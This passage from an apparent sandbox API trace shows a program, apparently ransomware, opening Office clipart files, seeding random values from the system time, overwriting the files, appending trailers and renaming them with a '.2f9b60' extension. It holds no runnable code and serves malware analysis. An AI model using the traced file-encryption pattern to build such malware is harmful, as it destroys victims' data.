Flags=0x8, Size=0x102) returned 0x42c161a0 [0172.993] SetFilePointerEx (in: hFile=0x180c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0172.993] WriteFile (in: hFile=0x180c, lpBuffer=0x42c161a0*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x1ee9f770, lpOverlapped=0x0 | out: lpBuffer=0x42c161a0*, lpNumberOfBytesWritten=0x1ee9f770*=0x102, lpOverlapped=0x0) returned 1 [0199.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420591a0 [0199.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0199.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263470 [0199.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263470) returned 1 [0199.957] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x42c0f0e0 [0199.957] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263470 [0199.957] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262180 [0199.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262180) returned 1 [0199.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0199.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420591a0) returned 1 [0199.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x20262180 [0199.959] sprintf (in: _Dest=0x20262180, _Format="%c%c" | out: _Dest="60") returned 2 [0199.959] sprintf (in: _Dest=0x20262182, _Format="%c%c" | out: _Dest="e5") returned 2 [0199.959] sprintf (in: _Dest=0x20262184, _Format="%c%c" | out: _Dest="60") returned 2 [0199.959] sprintf (in: _Dest=0x20262186, _Format="%c%c" | out: _Dest="a9") returned 2 [0199.959] sprintf (in: _Dest=0x20262188, _Format="%c%c" | out: _Dest="d5") returned 2 [0199.959] sprintf (in: _Dest=0x2026218a, _Format="%c%c" | out: _Dest="fd") returned 2 [0199.959] sprintf (in: _Dest=0x2026218c, _Format="%c%c" | out: _Dest="6c") returned 2 [0199.959] sprintf (in: _Dest=0x2026218e, _Format="%c%c" | out: _Dest="bd") returned 2 [0199.959] sprintf (in: _Dest=0x20262190, _Format="%c%c" | out: _Dest="2c") returned 2 [0199.959] sprintf (in: _Dest=0x20262192, _Format="%c%c" | out: _Dest="a7") returned 2 [0199.959] sprintf (in: _Dest=0x20262194, _Format="%c%c" | out: _Dest="07") returned 2 [0199.959] sprintf (in: _Dest=0x20262196, _Format="%c%c" | out: _Dest="45") returned 2 [0199.959] sprintf (in: _Dest=0x20262198, _Format="%c%c" | out: _Dest="92") returned 2 [0199.959] sprintf (in: _Dest=0x2026219a, _Format="%c%c" | out: _Dest="50") returned 2 [0199.959] sprintf (in: _Dest=0x2026219c, _Format="%c%c" | out: _Dest="1e") returned 2 [0199.959] sprintf (in: _Dest=0x2026219e, _Format="%c%c" | out: _Dest="b5") returned 2 [0199.959] RtlInitAnsiString (in: DestinationString=0x1ee9f7e8, SourceString="60e560a9d5fd6cbd2ca7074592501eb5" | out: DestinationString="60e560a9d5fd6cbd2ca7074592501eb5") [0199.959] RtlAnsiStringToUnicodeString (in: DestinationString=0x1ee9f7b8, SourceString="60e560a9d5fd6cbd2ca7074592501eb5", AllocateDestinationString=1 | out: DestinationString="60e560a9d5fd6cbd2ca7074592501eb5") returned 0x0 [0199.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x4205a000 [0199.960] wcscat (in: _Dest=0x431d9890, _Source="60e560a9" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\60e560a9") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\60e560a9" [0199.960] wcscat (in: _Dest=0x431d9890, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\60e560a9.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\60e560a9.2f9b60" [0199.960] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\60e560a9.2f9b60", NtPathName=0x1ee9f790, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\60e560a9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0199.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x431f3640 Thread: id = 1520 os_tid = 0x1a14 [0120.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf")) returned 0x20 [0122.442] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF", dwFileAttributes=0x20) returned 1 [0122.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17cc [0123.457] GetFileSizeEx (in: hFile=0x17cc, lpFileSize=0x1fd8f860 | out: lpFileSize=0x1fd8f860*=29004) returned 1 [0123.457] SetFilePointerEx (in: hFile=0x17cc, liDistanceToMove=0x7148, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.457] ReadFile (in: hFile=0x17cc, lpBuffer=0x1fd8f7e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1fd8f828, lpOverlapped=0x0 | out: lpBuffer=0x1fd8f7e0*, lpNumberOfBytesRead=0x1fd8f828*=0x4, lpOverlapped=0x0) returned 1 [0123.805] SetFilePointerEx (in: hFile=0x17cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af60 [0123.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d960 [0123.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e980 [0123.806] NtQuerySystemTime (in: CurrentTime=0x1fd8f720 | out: CurrentTime=0x1fd8f720*=132462177291910000) returned 0x0 [0123.806] RtlRandomEx (in: Seed=0x1fd8f710 | out: Seed=0x1fd8f710) returned 0x14545eb1 [0123.806] RtlRandomEx (in: Seed=0x1fd8f710 | out: Seed=0x1fd8f710) returned 0x2c174266 [0123.806] RtlRandomEx (in: Seed=0x1fd8f710 | out: Seed=0x1fd8f710) returned 0x60861f0e [0123.806] RtlRandomEx (in: Seed=0x1fd8f710 | out: Seed=0x1fd8f710) returned 0x125ae76 [0123.806] RtlRandomEx (in: Seed=0x1fd8f710 | out: Seed=0x1fd8f710) returned 0x733bb96f [0123.806] RtlRandomEx (in: Seed=0x1fd8f710 | out: Seed=0x1fd8f710) returned 0x46d1c034 [0123.806] RtlRandomEx (in: Seed=0x1fd8f710 | out: Seed=0x1fd8f710) returned 0x31f62220 [0123.806] RtlRandomEx (in: Seed=0x1fd8f710 | out: Seed=0x1fd8f710) returned 0x39beb3bb [0123.806] RtlRandomEx (in: Seed=0x1fd8f710 | out: Seed=0x1fd8f710) returned 0x7d841062 [0123.806] RtlRandomEx (in: Seed=0x1fd8f710 | out: Seed=0x1fd8f710) returned 0xb6a7eab [0123.806] RtlRandomEx (in: Seed=0x1fd8f710 | out: Seed=0x1fd8f710) returned 0x1032e077 [0123.806] RtlRandomEx (in: Seed=0x1fd8f710 | out: Seed=0x1fd8f710) returned 0x105ed609 [0123.806] RtlRandomEx (in: Seed=0x1fd8f710 | out: Seed=0x1fd8f710) returned 0x6e02cf44 [0123.806] RtlRandomEx (in: Seed=0x1fd8f710 | out: Seed=0x1fd8f710) returned 0x6081d932 [0123.806] RtlRandomEx (in: Seed=0x1fd8f710 | out: Seed=0x1fd8f710) returned 0x3f6924a7 [0123.806] RtlRandomEx (in: Seed=0x1fd8f710 | out: Seed=0x1fd8f710) returned 0xf31c5a3 [0123.806] RtlRandomEx (in: Seed=0x1fd8f710 | out: Seed=0x1fd8f710) returned 0x1211574f [0123.806] RtlRandomEx (in: Seed=0x1fd8f710 | out: Seed=0x1fd8f710) returned 0x3501c0ff [0123.806] RtlRandomEx (in: Seed=0x1fd8f710 | out: Seed=0x1fd8f710) returned 0x66dec8c8 [0123.806] RtlRandomEx (in: Seed=0x1fd8f710 | out: Seed=0x1fd8f710) returned 0x60861f0e [0123.806] RtlRandomEx (in: Seed=0x1fd8f710 | out: Seed=0x1fd8f710) returned 0x51c49956 [0123.806] RtlRandomEx (in: Seed=0x1fd8f710 | out: Seed=0x1fd8f710) returned 0x731f3b10 [0123.806] RtlRandomEx (in: Seed=0x1fd8f710 | out: Seed=0x1fd8f710) returned 0x352a163b [0123.806] RtlRandomEx (in: Seed=0x1fd8f710 | out: Seed=0x1fd8f710) returned 0x15696ccc [0123.806] RtlRandomEx (in: Seed=0x1fd8f710 | out: Seed=0x1fd8f710) returned 0x4c303f67 [0123.806] RtlRandomEx (in: Seed=0x1fd8f710 | out: Seed=0x1fd8f710) returned 0x7cd215a2 [0123.806] RtlRandomEx (in: Seed=0x1fd8f710 | out: Seed=0x1fd8f710) returned 0x622d1c0 [0123.806] RtlRandomEx (in: Seed=0x1fd8f710 | out: Seed=0x1fd8f710) returned 0x1e614812 [0123.806] RtlRandomEx (in: Seed=0x1fd8f710 | out: Seed=0x1fd8f710) returned 0x7111b7af [0123.806] RtlRandomEx (in: Seed=0x1fd8f710 | out: Seed=0x1fd8f710) returned 0x458afc2e [0123.806] RtlRandomEx (in: Seed=0x1fd8f710 | out: Seed=0x1fd8f710) returned 0x698988f2 [0123.806] RtlRandomEx (in: Seed=0x1fd8f710 | out: Seed=0x1fd8f710) returned 0x6ab88b02 [0124.500] SetFilePointerEx (in: hFile=0x17cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.500] ReadFile (in: hFile=0x17cc, lpBuffer=0x41d40d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1fd8f780, lpOverlapped=0x0 | out: lpBuffer=0x41d40d80*, lpNumberOfBytesRead=0x1fd8f780*=0x3c00, lpOverlapped=0x0) returned 1 [0124.886] SetFilePointerEx (in: hFile=0x17cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0124.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504890 [0124.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ad20 [0124.886] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ad20) returned 1 [0124.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b62d00 [0124.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ad20 [0124.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ade0 [0124.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ade0) returned 1 [0124.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504890) returned 1 [0124.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0124.887] WriteFile (in: hFile=0x17cc, lpBuffer=0x41b62d00*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1fd8f780, lpOverlapped=0x0 | out: lpBuffer=0x41b62d00*, lpNumberOfBytesWritten=0x1fd8f780*=0x3c00, lpOverlapped=0x0) returned 1 [0166.156] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b62d00) returned 1 [0166.156] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d40d80) returned 1 [0166.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a1b80 [0166.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97850 [0166.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061030 [0166.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a19a0 [0166.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a19a0) returned 1 [0166.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a19a0 [0166.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a19d0 [0166.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1a30 [0166.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1a30) returned 1 [0166.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061030) returned 1 [0166.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0166.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423abf10 [0166.159] SetFilePointerEx (in: hFile=0x17cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0166.159] WriteFile (in: hFile=0x17cc, lpBuffer=0x423abf10*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1fd8f830, lpOverlapped=0x0 | out: lpBuffer=0x423abf10*, lpNumberOfBytesWritten=0x1fd8f830*=0x10a, lpOverlapped=0x0) returned 1 [0206.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059000 [0206.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba7e0 [0206.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f780 [0206.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f780) returned 1 [0206.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d4e0 [0206.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f780 [0206.463] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2fcc0 [0206.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2fcc0) returned 1 [0206.464] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba7e0) returned 1 [0206.464] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059000) returned 1 [0206.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9eaf0 [0206.464] sprintf (in: _Dest=0x1cd9eaf0, _Format="%c%c" | out: _Dest="ff") returned 2 [0206.464] sprintf (in: _Dest=0x1cd9eaf2, _Format="%c%c" | out: _Dest="59") returned 2 [0206.464] sprintf (in: _Dest=0x1cd9eaf4, _Format="%c%c" | out: _Dest="26") returned 2 [0206.464] sprintf (in: _Dest=0x1cd9eaf6, _Format="%c%c" | out: _Dest="93") returned 2 [0206.464] sprintf (in: _Dest=0x1cd9eaf8, _Format="%c%c" | out: _Dest="43") returned 2 [0206.464] sprintf (in: _Dest=0x1cd9eafa, _Format="%c%c" | out: _Dest="d4") returned 2 [0206.464] sprintf (in: _Dest=0x1cd9eafc, _Format="%c%c" | out: _Dest="82") returned 2 [0206.464] sprintf (in: _Dest=0x1cd9eafe, _Format="%c%c" | out: _Dest="74") returned 2 [0206.464] sprintf (in: _Dest=0x1cd9eb00, _Format="%c%c" | out: _Dest="f4") returned 2 [0206.465] sprintf (in: _Dest=0x1cd9eb02, _Format="%c%c" | out: _Dest="40") returned 2 [0206.465] sprintf (in: _Dest=0x1cd9eb04, _Format="%c%c" | out: _Dest="c7") returned 2 [0206.465] sprintf (in: _Dest=0x1cd9eb06, _Format="%c%c" | out: _Dest="1e") returned 2 [0206.465] sprintf (in: _Dest=0x1cd9eb08, _Format="%c%c" | out: _Dest="49") returned 2 [0206.465] sprintf (in: _Dest=0x1cd9eb0a, _Format="%c%c" | out: _Dest="84") returned 2 [0206.465] sprintf (in: _Dest=0x1cd9eb0c, _Format="%c%c" | out: _Dest="05") returned 2 [0206.465] sprintf (in: _Dest=0x1cd9eb0e, _Format="%c%c" | out: _Dest="41") returned 2 [0206.465] sprintf (in: _Dest=0x1cd9eb10, _Format="%c%c" | out: _Dest="79") returned 2 [0206.465] sprintf (in: _Dest=0x1cd9eb12, _Format="%c%c" | out: _Dest="75") returned 2 [0206.465] sprintf (in: _Dest=0x1cd9eb14, _Format="%c%c" | out: _Dest="c8") returned 2 [0206.465] sprintf (in: _Dest=0x1cd9eb16, _Format="%c%c" | out: _Dest="08") returned 2 [0206.465] sprintf (in: _Dest=0x1cd9eb18, _Format="%c%c" | out: _Dest="da") returned 2 [0206.465] sprintf (in: _Dest=0x1cd9eb1a, _Format="%c%c" | out: _Dest="36") returned 2 [0206.465] sprintf (in: _Dest=0x1cd9eb1c, _Format="%c%c" | out: _Dest="3b") returned 2 [0206.465] sprintf (in: _Dest=0x1cd9eb1e, _Format="%c%c" | out: _Dest="2e") returned 2 [0206.465] RtlInitAnsiString (in: DestinationString=0x1fd8f8a8, SourceString="ff59269343d48274f440c71e498405417975c808da363b2e" | out: DestinationString="ff59269343d48274f440c71e498405417975c808da363b2e") [0206.465] RtlAnsiStringToUnicodeString (in: DestinationString=0x1fd8f878, SourceString="ff59269343d48274f440c71e498405417975c808da363b2e", AllocateDestinationString=1 | out: DestinationString="ff59269343d48274f440c71e498405417975c808da363b2e") returned 0x0 [0206.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4309f600 [0206.466] wcscat (in: _Dest=0x43197d00, _Source="ff59269343d4" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ff59269343d4") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ff59269343d4" [0206.466] wcscat (in: _Dest=0x43197d00, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ff59269343d4.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ff59269343d4.2f9b60" [0206.466] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ff59269343d4.2f9b60", NtPathName=0x1fd8f850, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ff59269343d4.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x4311bc20 Thread: id = 1521 os_tid = 0x1a18 [0120.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf")) returned 0x20 [0122.442] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF", dwFileAttributes=0x20) returned 1 [0122.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfe4 [0123.456] GetFileSizeEx (in: hFile=0xfe4, lpFileSize=0x1fe9fa60 | out: lpFileSize=0x1fe9fa60*=1330) returned 1 [0123.456] SetFilePointerEx (in: hFile=0xfe4, liDistanceToMove=0x52e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.456] ReadFile (in: hFile=0xfe4, lpBuffer=0x1fe9f9e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1fe9fa28, lpOverlapped=0x0 | out: lpBuffer=0x1fe9f9e0*, lpNumberOfBytesRead=0x1fe9fa28*=0x4, lpOverlapped=0x0) returned 1 [0123.757] SetFilePointerEx (in: hFile=0xfe4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af60 [0123.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ece0 [0123.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ebc0 [0123.758] NtQuerySystemTime (in: CurrentTime=0x1fe9f920 | out: CurrentTime=0x1fe9f920*=132462177291442000) returned 0x0 [0123.758] RtlRandomEx (in: Seed=0x1fe9f910 | out: Seed=0x1fe9f910) returned 0xc197098 [0123.758] RtlRandomEx (in: Seed=0x1fe9f910 | out: Seed=0x1fe9f910) returned 0x65dcd2af [0123.758] RtlRandomEx (in: Seed=0x1fe9f910 | out: Seed=0x1fe9f910) returned 0x30fadfc0 [0123.758] RtlRandomEx (in: Seed=0x1fe9f910 | out: Seed=0x1fe9f910) returned 0x3f6924a7 [0123.758] RtlRandomEx (in: Seed=0x1fe9f910 | out: Seed=0x1fe9f910) returned 0x6fc62c4f [0123.758] RtlRandomEx (in: Seed=0x1fe9f910 | out: Seed=0x1fe9f910) returned 0x4c4b28cd [0123.758] RtlRandomEx (in: Seed=0x1fe9f910 | out: Seed=0x1fe9f910) returned 0x215f7a9f [0123.758] RtlRandomEx (in: Seed=0x1fe9f910 | out: Seed=0x1fe9f910) returned 0x73b0d156 [0123.758] RtlRandomEx (in: Seed=0x1fe9f910 | out: Seed=0x1fe9f910) returned 0xa9b6bfd [0123.758] RtlRandomEx (in: Seed=0x1fe9f910 | out: Seed=0x1fe9f910) returned 0x6258b90f [0123.758] RtlRandomEx (in: Seed=0x1fe9f910 | out: Seed=0x1fe9f910) returned 0x242575d4 [0123.758] RtlRandomEx (in: Seed=0x1fe9f910 | out: Seed=0x1fe9f910) returned 0x3bc2ef7f [0123.758] RtlRandomEx (in: Seed=0x1fe9f910 | out: Seed=0x1fe9f910) returned 0x14af22b7 [0123.758] RtlRandomEx (in: Seed=0x1fe9f910 | out: Seed=0x1fe9f910) returned 0x12d71655 [0123.758] RtlRandomEx (in: Seed=0x1fe9f910 | out: Seed=0x1fe9f910) returned 0xbaf8ee3 [0123.758] RtlRandomEx (in: Seed=0x1fe9f910 | out: Seed=0x1fe9f910) returned 0xba46a06 [0123.758] RtlRandomEx (in: Seed=0x1fe9f910 | out: Seed=0x1fe9f910) returned 0x7fefaf2e [0123.758] RtlRandomEx (in: Seed=0x1fe9f910 | out: Seed=0x1fe9f910) returned 0x4890929f [0123.758] RtlRandomEx (in: Seed=0x1fe9f910 | out: Seed=0x1fe9f910) returned 0x6a7a8ded [0123.758] RtlRandomEx (in: Seed=0x1fe9f910 | out: Seed=0x1fe9f910) returned 0x725ef0 [0123.758] RtlRandomEx (in: Seed=0x1fe9f910 | out: Seed=0x1fe9f910) returned 0x22b7214f [0123.758] RtlRandomEx (in: Seed=0x1fe9f910 | out: Seed=0x1fe9f910) returned 0x3532d060 [0123.758] RtlRandomEx (in: Seed=0x1fe9f910 | out: Seed=0x1fe9f910) returned 0x74a7fc76 [0123.758] RtlRandomEx (in: Seed=0x1fe9f910 | out: Seed=0x1fe9f910) returned 0x10d62263 [0123.758] RtlRandomEx (in: Seed=0x1fe9f910 | out: Seed=0x1fe9f910) returned 0x2410e226 [0123.758] RtlRandomEx (in: Seed=0x1fe9f910 | out: Seed=0x1fe9f910) returned 0x430a6f96 [0123.758] RtlRandomEx (in: Seed=0x1fe9f910 | out: Seed=0x1fe9f910) returned 0x5d9147a7 [0123.758] RtlRandomEx (in: Seed=0x1fe9f910 | out: Seed=0x1fe9f910) returned 0x5d131ca0 [0123.758] RtlRandomEx (in: Seed=0x1fe9f910 | out: Seed=0x1fe9f910) returned 0x53351a0d [0123.758] RtlRandomEx (in: Seed=0x1fe9f910 | out: Seed=0x1fe9f910) returned 0x1638473e [0123.759] RtlRandomEx (in: Seed=0x1fe9f910 | out: Seed=0x1fe9f910) returned 0x4de8b7a7 [0123.759] RtlRandomEx (in: Seed=0x1fe9f910 | out: Seed=0x1fe9f910) returned 0x71c055b4 [0124.497] ReadFile (in: hFile=0xfe4, lpBuffer=0x41d2e130, nNumberOfBytesToRead=0x532, lpNumberOfBytesRead=0x1fe9f910, lpOverlapped=0x0 | out: lpBuffer=0x41d2e130*, lpNumberOfBytesRead=0x1fe9f910*=0x532, lpOverlapped=0x0) returned 1 [0124.497] SetFilePointerEx (in: hFile=0xfe4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.497] WriteFile (in: hFile=0xfe4, lpBuffer=0x20468750*, nNumberOfBytesToWrite=0x532, lpNumberOfBytesWritten=0x1fe9f914, lpOverlapped=0x0 | out: lpBuffer=0x20468750*, lpNumberOfBytesWritten=0x1fe9f914*=0x532, lpOverlapped=0x0) returned 1 [0124.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860b40 [0124.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860360 [0124.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860360) returned 1 [0124.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20468750) returned 1 [0124.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d2e130) returned 1 [0124.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867140) returned 1 [0124.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059d80) returned 1 [0124.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b860360 [0124.550] SetFilePointerEx (in: hFile=0xfe4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0124.550] WriteFile (in: hFile=0xfe4, lpBuffer=0x167ca0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1fe9fa30, lpOverlapped=0x0 | out: lpBuffer=0x167ca0*, lpNumberOfBytesWritten=0x1fe9fa30*=0x10a, lpOverlapped=0x0) returned 1 [0124.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97a30 [0124.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504410 [0124.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ed70 [0124.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ed70) returned 1 [0124.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0124.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ed70 [0124.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050eda0 [0124.617] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050eda0) returned 1 [0124.617] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504410) returned 1 [0124.617] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97a30) returned 1 [0124.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0570 [0124.617] sprintf (in: _Dest=0x1cda0570, _Format="%c%c" | out: _Dest="b0") returned 2 [0124.617] sprintf (in: _Dest=0x1cda0572, _Format="%c%c" | out: _Dest="2a") returned 2 [0124.617] sprintf (in: _Dest=0x1cda0574, _Format="%c%c" | out: _Dest="fa") returned 2 [0124.617] sprintf (in: _Dest=0x1cda0576, _Format="%c%c" | out: _Dest="c9") returned 2 [0124.617] sprintf (in: 